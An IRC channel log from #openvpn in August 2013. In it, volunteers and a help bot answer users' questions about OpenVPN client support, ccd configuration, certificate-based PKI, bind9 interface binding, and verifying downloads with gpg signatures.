02:02 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
02:10 -!- Benjamin___ [~benjamin@ool-ad03a949.dyn.optonline.net] has joined #openvpn
02:12 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
02:34 -!- Benjamin___ [~benjamin@ool-ad03a949.dyn.optonline.net] has left #openvpn []
02:38 -!- ugoub [~wangz@184.22.125.15] has quit [Ping timeout: 264 seconds]
02:39 -!- ugoub [~wangz@184.22.125.15] has joined #openvpn
03:01 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
03:16 -!- Denial [Denial@90.202.5.141] has joined #openvpn
04:07 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
04:13 -!- rawtaz [~rawtaz@rho.hobbyhotellet.se] has left #openvpn []
04:15 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
04:15 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
04:59 < kisom> Does anybody know if OpenVPN will stop disconnecting when the screen is locked when iOS 7 is released?
05:22 -!- rkantos [robin@4e.fi] has joined #openvpn
05:45 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 264 seconds]
05:47 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
05:52 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 245 seconds]
05:53 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
05:59 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 245 seconds]
06:00 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
06:06 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
06:13 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 245 seconds]
06:15 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
06:20 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:25 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 245 seconds]
06:25 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
06:27 -!- p3rror [~p3rror@41.249.98.85] has joined #openvpn
06:28 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
06:32 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
06:32 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
06:34 -!- ugoub [~wangz@184.22.125.15] has quit [Quit: leaving]
06:40 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 245 seconds]
06:43 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
06:43 < defswork> kisom, you run openvpn on a non jailbroken IOS device ?
06:48 < kisom> defswork: no
06:48 < kisom> defswork: Err, yes. I did not jailbreak.
06:48 < defswork> feck me - how long has there been openvpn for ipad ?
06:48 < defswork> and
06:48 < defswork> how did I miss it ?
06:48 < kisom> A few months
06:49 < defswork> oh ok - fairly recent then :)
06:49 < defswork> does it support user authentication ?
06:49 < kisom> The currect version has an annoying bug when using TCP
06:49 < kisom> Yes, it does
06:49 < defswork> no tcp here :)
06:50 < defswork> if it works it will mean I can ditch our xl2tpd nonsense \o/
06:50 < defswork> does it require username/password for every reconnect ?
06:51 < defswork> ipad ipsec vpn only asks once and remembers forever - which is a security issue
06:51 < kisom> defswork: Yes, you can save credentials.
06:51 < defswork> thats a bad thing :)
06:51 < kisom> If I remember correctly you can set a policy on your server which disables that option
06:52 < defswork> policy ?
06:52 < kisom> Push something out
06:52 < kisom> Never tried
06:52 < defswork> oh ok
06:52 < kisom> Or just use OTP
06:52 < kisom> ;)
06:52 < defswork> otp ?
06:53 < kisom> one time passwords
06:53 < defswork> too much grief
06:53 < kisom> That's up to you.
06:55 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 245 seconds]
06:58 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
07:17 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 264 seconds]
07:17 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
07:17 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 245 seconds]
07:22 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
07:22 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 245 seconds]
07:26 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
07:26 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Excess Flood]
07:27 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
07:54 -!- HyperGlide [~HyperGlid@182.149.190.154] has joined #openvpn
08:23 -!- HaxCore [~p3rror@41.249.135.239] has joined #openvpn
08:23 -!- p3rror [~p3rror@41.249.98.85] has quit [Ping timeout: 264 seconds]
08:26 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
08:46 -!- dvl is now known as dvl--
08:46 -!- dvl-- is now known as dvl
08:48 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:17 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
09:27 -!- HyperGlide [~HyperGlid@182.149.190.154] has quit [Remote host closed the connection]
09:28 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
09:38 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
09:49 < _quadDamage> I upgraded to 2.3.2 earlier this week, from some version about a year old (don't recall which :/). Now the server doesn't seem to be reading ccd entries. Ideas?
10:03 <+pekster> _quadDamage: It's a path or permission issue. Check the config for correct use (in your environment) or --cd, --client-config-dir, and possibly --user or --group (or those latter 2 by your distro initscript as some like to add them, and often --cd too)
10:04 <+pekster> Otherwise look at --verb 4 (see !verb) log output to see what paths the program is actually using, and verify the permissions are right
10:08 < _quadDamage> perms are others readable, openvpn is seeing the correct path when it starts up
10:14 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 245 seconds]
10:14 <+pekster> Then at verb 4 it'll note when it uses a ccd file for that particular client. The only remaining thing that could be an issue is the CN not matching (this *is* case-sensitive)
10:15 < TheSov> hey im back!
10:20 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
10:21 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
10:22 -!- fischli [~fischli@data.fischer-ing.de] has quit [Quit: Leaving.]
10:30 -!- lolcat [~lover@unaffiliated/energy-/x-7653247] has joined #openvpn
10:30 < lolcat> Hello
10:30 < lolcat> Can I setup openVPN with passwords instead of those silly certificates? Android won't support them
10:31 < lolcat> And I can't set the IPs they are dynamic, and using a NAT is dumb.
10:31 < BtbN> yeah,  having a secure certificate is realy silly!
10:31 < BtbN> And i must be using a diffrent android than you.
10:32 < lolcat> I use jellybean
10:32 < BtbN> so?
10:32 < lolcat> oh
10:33 < lolcat> If I select ipsec/RSA I can add certificates
10:33 < BtbN> ipsec and openvpn are totaly unrelated
10:34 <+pekster> !notcompat
10:34 <@vpnHelper> "notcompat" is (#1) IPsec, PPTP, & L2TP are _not_ compatible with OpenVPN. OpenVPN uses SSL whereas PPTP and IPSEC use their own protocols and therefore cannot be compatible. or (#2) OpenVPN connects only to OpenVPN
10:34 <+pekster> !android
10:34 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the market
10:34 < lolcat> My android isn't rooted
10:35 < BtbN> just read what the bot just sent...
10:35 < lolcat> the first sentence in !android has a messed up syntax
10:36 < BtbN> no
10:37 <+pekster> The first comma should have been a semi-colon, technically; it's not critical to the understanding of the phrasing though
10:37 < lolcat> android is an open source OpenVPN client for ICS is available?
10:37 <+pekster> This is how the bot works. Get over it
10:37 <+pekster> !magic
10:37 <@vpnHelper> "magic" is For a story about magic read http://www.catb.org/jargon/html/magic-story.html
10:38 < lolcat> a comma in that part could make it sensical
10:38 < lolcat> Without a VPN, how can I download OpenVPN safely?
10:38 <+pekster> Check the digital signatures if you care
10:38 <+pekster> !101
10:38 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
10:39 <+pekster> A VPN doesn't help you "safely" download openvpn anyway (unless you had a trusted connection to the distributors to openvpn.)
10:40 < lolcat> pekster: I trust my ISP more than I trust my telco. My telco is goverment owned and corrupt, my ISP is a small local buisness I can trust.
10:40 <+pekster> Then you should presumably be familiar with gpg
10:41 <+pekster> If not, wikipedia and web searches can help you; OpenVPN's releases are signed with key 198D22A3
10:44 -!- master_of_master [~master_of@p4FD7B909.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
10:46 -!- master_of_master [~master_of@p4FD7B92C.dip0.t-ipconnect.de] has joined #openvpn
10:47 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 264 seconds]
10:49 -!- Devastatr [~devas@177.99.152.92] has joined #openvpn
10:50 < lolcat> Gah, I compile with easy_rsa and it disapears
10:51 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 264 seconds]
10:52 <+pekster> OpenVPN does not "compile with easy_rsa" and easy_rsa is a collection of shell scripts and does not need to be 'compiled'
10:52 < lolcat> freeBSD asks me if I want to compile it with easy_rsa
10:57 <+pekster> Oh, just means if you want to include the easy-rsa package with the installation
10:57 <+pekster> (technically speaking OpenVPN and Easy-RSA are now separate projects, but build-from-source distros like Free/NetBSD and Gentoo often allow you to include them at build-time as 'nice features')
11:04 -!- raidz_away is now known as raidz
11:04 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
11:10 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
11:12 -!- REdOG [~REdOG@12.208.129.98] has quit [Ping timeout: 264 seconds]
11:20 < lolcat> pekster: Yep, I am quite happy with the way freeBSD does stuff.
11:21 <+pekster> I got introduced to NetBSD after I had a wonderful experience years before that on Gentoo, and I see what those distros (which includes FreeBSD as well) do so much better than "typical" Linuxes today
11:22 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has joined #openvpn
11:22 < lolcat> I tried an Ubuntu server, but it seems so messy compared to freeBSD. Only thing I can't stand is the installer, luckily you don't have to use it.
11:22 <+pekster> Plus they make hacking on openvpn so easy since the sources are already there and you're just expected to build from source anyway
11:23 <+pekster> fwiw, FreeBSD and Gentoo are a couple of the most-used platforms in the developer base, so they're well-tested for :)
11:24 < lolcat> It has been stable as a fileserver.
11:24 -!- [fred] [fred@konfuzi.us] has joined #openvpn
11:53 -!- REdOG [~REdOG@12.208.129.98] has joined #openvpn
11:55 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
12:13 -!- trumee [~parul@93.186.150.236] has quit [Read error: Connection reset by peer]
12:17 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
12:21 -!- trumee [~parul@93.186.147.20] has joined #openvpn
12:28 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
12:29 -!- KaiForce [~chatzilla@107.223.70.10] has joined #openvpn
12:32 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
12:40 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has joined #openvpn
12:40 < AlHafoudh> hi all
12:41 < AlHafoudh> how should I ensure that openvpn starts and created tap interface before bind9 so bind9 can listen on that interface too?
12:42 <@krzee> you could have openvpn start bind, restart bind, or have whatever script you have starting openvpn do it
12:42 <@krzee> !script
12:42 <@vpnHelper> "script" is See SCRIPTING AND ENVIRONMENTAL VARIALBES in the manual for a list of places that scripts can hook into openvpn. Online reference at: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAR
12:43 <+pekster> It might be easier to omit the listen-on directive in named.conf, or specify a port only so it binds to the wildcard address
12:44 <+pekster> bind() binds to addresses, not interfaces, thus the association is lost when the address is removed from the device (ie: across openvpn restarts, unless perhaps you use --persist-tun to handle that case as long as the IP doesn't change)
12:44 < AlHafoudh> pekster: i just tried if named can listen on 0.0.0.0 but its somehow not working
12:44 <+pekster> See section 6.2.16.5 in the BINDv9 ARM
12:45 <+pekster> Oh, actually, you might be right that it turns around and listens on each one individually :(
12:46 < AlHafoudh> http://www.zytrax.com/books/dns/ch7/periodic.html look at interface-interval, that will be solution for me, but minimum 1 minut duh :(
12:46 <@vpnHelper> Title: DNS BIND Periodic (Time controlled) Statements (at www.zytrax.com)
12:47 <+pekster> That, or if SIGHUP causes it to do the same thing, you can HUP (reload) the server on openvpn init
12:48 <+pekster> (blah, it doesn't)
12:48 < rob0> rndc reload
12:48 <+pekster> Yea, no joy there rob0
12:49 <@krzee> put the tap address in listen directive, use an up script to reload
12:50 <+pekster> No, HUP won't cause it to re-open sockets. Period.
12:51 <@krzee> meh then service restart or the distros equiv
12:52 < rob0> "rndc reload" does not cause it to listen on new interfaces?
12:52 <+pekster> Yup, or the interface-interval method defined above appear the best (only?) options
12:52 <+pekster> rob0: Nope, just tested
12:52 < rob0> interface-interval would work, yes
12:53 < TheSov> hey guys i just wanted to say thanks again for the help/patience yesterday
12:54 <@krzee> yep interface-interval may actually be better now that i actually look at it
13:07 -!- Devastatr [~devas@177.99.152.92] has quit [Changing host]
13:07 -!- Devastatr [~devas@unaffiliated/devastator] has joined #openvpn
13:07 -!- Devastatr is now known as Devastator
13:12 <@EugeneKay> HUP HUP HOORAY
13:13 <@krzee> hooooo
13:35 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
14:14 -!- TheSov [~TheSov@12.69.170.2] has quit [Ping timeout: 260 seconds]
14:15 -!- TheSov [~TheSov@50-76-75-45-static.hfc.comcastbusiness.net] has joined #openvpn
14:29 -!- Wheelz [~Wheelz@209-253-157-229.ip.mcleodusa.net] has joined #openvpn
15:05 -!- KaiForce [~chatzilla@107.223.70.10] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 23.0/20130730113002]]
15:09 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
15:11 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
15:44 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 246 seconds]
15:50 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
15:50 -!- mode/#openvpn [+v s7r] by ChanServ
15:52 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
15:53 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
15:56 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
15:59 -!- midacts [~midacts@207.59.77.254] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- Now with extra fish!]
16:00 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
16:03 -!- p3rror [~p3rror@41.248.109.144] has joined #openvpn
16:04 -!- klaxa [~klaxa@klaxa.eu] has joined #openvpn
16:06 -!- HaxCore [~p3rror@41.249.135.239] has quit [Ping timeout: 276 seconds]
16:06 < klaxa> hi, i set up openvpn 2.2.1 on debian 7 (first quesiton, should i update and/or compile from source?), it's working well with one client i created keys for, however, is there a way to tell openvpn to just use public key authentification and hand out dhcp leases? maybe i'm searching for the wrong keywords, but i haven't found anything so far
16:08 <+pekster> Used in a server/client model, openpvn hands out IPs for the network it's configured to use on its own. pubkey is the recommended way to use openvpn with multiple clients as well. See:
16:08 <+pekster> !howto
16:08 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
16:09 <+pekster> No real need to update unless you want specific features (IPv6 is a specific appeal of 2.3.0 or later)
16:09 < klaxa> ok thanks, i guess i'll read the guide properly again before asking any further (stupid) questions :)
16:10 <+pekster> Using the official howto openvpn already does everything your seeking (it doesn't use DHCP, but has its own implementation of pushing IPs and routes, if needed, to clients)
16:11 < klaxa> okay, so if i set up everything correctly, i can just put my friends pub-keys in a directory or add it to a file and they will be able to connect and get an ip? like with ssh? or am i misunderstanding basic encryption schemes here?
16:14 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 256 seconds]
16:14 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 264 seconds]
16:15 <+pekster> The basic premise is the same, but X509 works with a CA, not stand-alone keypairs
16:16 <@krzee> !pki
16:16 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
16:16 <@vpnHelper> signed specially as a server (see !servercert)
16:17 < klaxa> i have that part set up, and it works for one client, so if i want to add another client to the network i will have to sign the private and public key of that client with the CA certificate and hand the private key to the client that wants to connect to openvpn, right?
16:18 -!- HaxCore [~p3rror@41.140.202.112] has joined #openvpn
16:19 <+pekster> You only ever sign the public part, never the private part
16:19 <+pekster> Ideally you actually generate the private key on the remote host and never "send it" anyway (just like with ssh keys)
16:20 <+pekster> Out of convenience many people setting up their first OpenVPN system don't do that
16:20 < klaxa> yeah that kinda put me off too
16:20 < klaxa> i'd like my private key to be... private
16:20 <+pekster> There's no reason they can't be
16:20 < klaxa> so if i have, say an rsa private key, can i put my rsa public key on the server and sign it with the CA certificate or is that not how it works?
16:20 <+pekster> Although Easy-RSA 2.x (the current official version) has all sorts of dumb orginization requirements that must match for the request to be accepted
16:21 <+pekster> No, see above
16:21 <+pekster> I have a beta-ish 3.x version of Easy-RSA that's more suitable for remote key generation since it simply removes all the worthless fields you don't need anyway
16:21 < klaxa> sorry for being stupid with certificates, first time doing this
16:22 <+pekster> That said, it's not official yet, and has much more poor documentation (part of the appeal long-term is that it's much easier, and in fact encouraged, to generate client certs on the remote client system using it
16:22 -!- p3rror [~p3rror@41.248.109.144] has quit [Ping timeout: 264 seconds]
16:23 <+pekster> Well, "poor" is relataive since I did get some docs written up, but they explain how to use my code, not "copy & pastable commands to use with OpenVPN"
16:24 <+pekster> You have 2 options: do what you did for your first client again for your next, or learn how PKI works and generate keypairs on target systems and sign them by transporting the CSR and cert back, without need to ever send a private key
16:25 < klaxa> i see
16:25 <+pekster> Good news: the next version of easyrsa makes this a lot easier. Bad news, it's probably not for you (right now) unless you're willing to try out beta software :)
16:25 < klaxa> well i *hoped* i could just use ssh keys i already have, but it seems i'm totally in the wrong with that :P
16:26 <+pekster> No, those are just RSA keypairs and have nothing to do with X509 (although openssh can use X509 certs in a PKI instead, if you'd like)
16:26 <+pekster> You *could* in theory generate X509 CSRs from the RSA keypairs, but there's no advantage
16:26 < klaxa> yeah that's what i meant with totally in the wrong
16:27 < klaxa> is there a way to use my RSA keypairs with openvpn?
16:27 <+pekster> You don't want to do that because it requires commands to openssl that aren't documented on the !howto
16:27 <+pekster> So "not easily, unless you're already a crypto expert" is the answer
16:28 < klaxa> too bad :(
16:28 < klaxa> but thanks for clearing this up
16:28 -!- cryptic [~cryptic@pool-173-68-22-171.nycmny.fios.verizon.net] has joined #openvpn
16:29 <+pekster> Again, there's no point becuase it's a more complex command and you have to generate a CSR anyway (so why not just let openssl make you a new keypair as it does that in the first place?)
16:29 < cryptic> hey, I'm intending to use hidemyass for a vpn connection and was curious whether I can create a tun0 entry in /etc/network/interfaces which would allow me to bind to a dynamic IP address--is this possible?
16:30 <+pekster> No, that's not how dynamically-assigned addresses from a VPN peer work
16:30 <+pekster> !provider
16:30 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
16:31 < cryptic> pekster: I never insinuated that you were my provider's free tech support. this question is topical as it applies to how openvpn works; I offered the provider's name just in case that fast-tracked me to a solution
16:31 <+pekster> bind(2) works on addresses; once an interface has an address any program that makes a call to bind() in its source code can do so
16:34 <+pekster> OpenVPN clients (those connecting to a --mode server remote peer) handle the addressing, routing, and pushable options via remote-end --push statements (see the manpage and !howto for details.) So no, you cannot let your own OS "manage that" -- how would you know in advance what a remote endpoint is going to send over a TLS-encrypted channel?
16:40 < cryptic> pekster: thanks, I'm reading the howto now
16:48 -!- APTX [APTX@unaffiliated/aptx] has quit [Ping timeout: 264 seconds]
16:54 -!- Denial [Denial@90.202.5.141] has quit []
16:55 -!- HaxCore [~p3rror@41.140.202.112] has quit [Ping timeout: 264 seconds]
17:14 -!- speed_racer84 [~speed_rac@173.45.222.112] has joined #openvpn
17:17 -!- EmLeX [~emx@unaffiliated/emlex] has quit [Ping timeout: 264 seconds]
17:17 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
17:21 -!- EmLeX [~emx@unaffiliated/emlex] has quit [Ping timeout: 260 seconds]
17:22 -!- speed_racer84 [~speed_rac@173.45.222.112] has quit [Ping timeout: 264 seconds]
17:29 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
17:30 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
17:33 -!- higuita [~higuita@2001:b18:400f:0:c445:350e:a7e:8fdc] has quit [Ping timeout: 260 seconds]
17:35 -!- higuita [~higuita@2001:b18:400f:0:3c32:f40d:a45b:d0da] has joined #openvpn
17:41 -!- cryptic [~cryptic@pool-173-68-22-171.nycmny.fios.verizon.net] has quit [Ping timeout: 276 seconds]
17:49 -!- higuita [~higuita@2001:b18:400f:0:3c32:f40d:a45b:d0da] has quit [Ping timeout: 260 seconds]
17:52 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Quit: Leaving]
17:53 -!- higuita [~higuita@2001:b18:400f:0:102:fe0c:a45b:24bc] has joined #openvpn
17:53 -!- Wheelz [~Wheelz@209-253-157-229.ip.mcleodusa.net] has quit []
17:54 < TheSov> pekster, you will be unhappy to know my boss still made me do the bridging thing, just incase our phone guy screws this up.
17:54 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
18:12 -!- kirin` [telex@gateway/shell/anapnea.net/x-hjtvskepiuktvzyd] has quit [Ping timeout: 245 seconds]
18:13 -!- kirin` [telex@gateway/shell/anapnea.net/x-odkryubqzcvouziu] has joined #openvpn
18:18 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has quit [Quit: Computer has gone to sleep.]
18:30 -!- Falconor [falconor@pool-71-178-185-225.cmdnnj.fios.verizon.net] has quit [Ping timeout: 264 seconds]
18:43 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
18:43 -!- mode/#openvpn [+v s7r] by ChanServ
18:43 <+s7r> j #openvpn-as
18:47 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
18:51 -!- kirin` [telex@gateway/shell/anapnea.net/x-odkryubqzcvouziu] has quit [Ping timeout: 276 seconds]
18:52 -!- Falconor [falconor@pool-71-178-185-225.cmdnnj.fios.verizon.net] has joined #openvpn
18:52 -!- kirin` [telex@gateway/shell/anapnea.net/x-xzsjitgrvagvvdck] has joined #openvpn
18:53 -!- Falconor [falconor@pool-71-178-185-225.cmdnnj.fios.verizon.net] has quit [Changing host]
18:53 -!- Falconor [falconor@unaffiliated/falconor] has joined #openvpn
19:00 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
19:09 -!- speed_racer81 [~speed_rac@173.45.222.229] has joined #openvpn
19:13 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 276 seconds]
19:13 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
19:14 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
19:16 -!- speed_racer81 [~speed_rac@173.45.222.229] has quit [Ping timeout: 246 seconds]
19:26 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Ping timeout: 240 seconds]
19:41 -!- higuita [~higuita@2001:b18:400f:0:102:fe0c:a45b:24bc] has quit [Ping timeout: 245 seconds]
20:10 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
21:18 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 256 seconds]
21:24 -!- raidz is now known as raidz_away
21:24 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
21:40 -!- higuita [~higuita@2001:b18:400f:0:102:fe0c:a45b:24bc] has joined #openvpn
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:41 -!- higuita [~higuita@2001:b18:400f:0:102:fe0c:a45b:24bc] has quit [Ping timeout: 260 seconds]
22:44 -!- higuita [~higuita@2001:b18:400f:0:102:fe0c:a45b:24bc] has joined #openvpn
22:51 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 264 seconds]
22:53 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
23:25 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
23:54 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Quit: I'm out!]
--- Day changed Sat Aug 10 2013
00:05 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 245 seconds]
00:10 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
00:19 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 246 seconds]
00:33 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
00:44 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 260 seconds]
00:46 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 245 seconds]
00:47 -!- uuuppz [uuuppz@78.129.207.46] has quit [Ping timeout: 240 seconds]
00:47 -!- uuuppz [uuuppz@78.129.207.46] has joined #openvpn
00:48 -!- rkantos [robin@4e.fi] has quit [Ping timeout: 264 seconds]
00:48 -!- rkantos [robin@4e.fi] has joined #openvpn
00:49 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
01:26 -!- batrick [~batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.1]
01:30 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
01:35 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
01:37 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
01:58 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 246 seconds]
02:07 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
02:17 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has joined #openvpn
02:26 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has quit [Quit: Textual IRC Client: www.textualapp.com]
02:45 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
03:26 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
03:36 -!- higuita [~higuita@2001:b18:400f:0:102:fe0c:a45b:24bc] has quit [Ping timeout: 260 seconds]
03:39 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
03:41 -!- kirin` [telex@gateway/shell/anapnea.net/x-xzsjitgrvagvvdck] has quit [Ping timeout: 276 seconds]
03:42 -!- kirin` [telex@gateway/shell/anapnea.net/x-jxivylibkqstzeht] has joined #openvpn
03:42 -!- higuita [~higuita@2001:b18:400f:0:102:fe0c:a45b:24bc] has joined #openvpn
04:13 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
04:18 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
04:25 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
05:17 -!- p0rk [~d0dger@pa-67-235-85-236.dhcp.embarqhsd.net] has quit [Ping timeout: 264 seconds]
05:35 -!- kubbing [~kubbing@ip-78-102-124-57.net.upcbroadband.cz] has joined #openvpn
05:39 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has quit [Ping timeout: 260 seconds]
05:53 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:11 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
06:18 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
06:18 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
06:21 -!- kubbing [~kubbing@ip-78-102-124-57.net.upcbroadband.cz] has quit [Ping timeout: 276 seconds]
06:34 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 246 seconds]
06:40 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
06:50 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
